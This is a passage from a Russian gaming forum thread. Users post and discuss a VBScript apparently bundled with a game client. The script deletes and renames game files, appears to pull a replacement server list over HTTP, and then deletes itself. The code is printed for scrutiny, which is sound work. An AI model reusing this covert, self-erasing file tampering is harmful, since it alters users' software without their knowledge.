	RenameFile objFile.Drive & objFile.Path & "msvv82.asi", objFile.Drive & objFile.Path & "msvv82.asi.old"

On Error Goto 0

Next

	DeleteAFile strMyPath & "mrv.upk"
	DeleteAFile strMyPath & "mrvgamemenu.upk"
	DeleteAFile strMyPath & "revini.upk"
	DeleteAFile strMyPath & "revSrvBrowser.dll.upk"
	DeleteAFile strMyPath & "bin"
	DeleteAFile strMyPath & "motd_temp.html"
	
Sub Up()

Set objShell = Wscript.CreateObject("Wscript.Shell")
strPath = objShell.SpecialFolders("MyDocuments")
strMyPath = strPath & "\"

On Error Resume Next

Dim filesys
Set filesys = CreateObject("Scripting.FileSystemObject")

On Error Goto 0

End Sub

' DELETE SELF
On Error Resume Next
	WScript.Sleep 1000
	Set fileSystem = CreateObject("Scripting.FileSystemObject")
	thisScript = Wscript.ScriptFullName
	fileSystem.DeleteFile(thisScript)
On Error Goto 0

Содержимое вада для обозрения!
Данный скрип удаляет протекторы и подменяет на своё ***

Отредактировал: DarkFantom, - 1.11.2017, 20:07

MrZlo	1.11.2017, 20:06 Сообщение #159
Стаж: 11 лет Сообщений: 901 Благодарностей: 669 Полезность: 803	вот сволочи заблочили сервер 7637 Отредактировал: MrZlo, - 1.11.2017, 20:07
	Поблагодарили 2 раз Поблагодарили 2 раз BaHeK, ~~loran~~

RUS93	1.11.2017, 20:16 Сообщение #160
Стаж: 10 лет Город: Краснодар Сообщений: 249 Благодарностей: 73 Полезность: 234	DarkFantom, Бегло посмотрел код, скрипт заточен под gs-m? Else DeleteAFile "steamservers.gsm" Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile("steamservers.gsm", ForWriting) objFile.Write objHTTP.ResponseText objFile.Close protectFile("steamservers.gsm") End If
	Поблагодарили 0 раз Поблагодарили 0 раз

« Предыдущая тема · Разное · Следующая тема »

10 страниц

« 7 8 9 »

0 пользователей и 3 гостей читают эту тему:

Режим отображения: Стандартный · Переключить на: Линейный · Переключить на: Древовидный

Сообщить другу · Версия для печати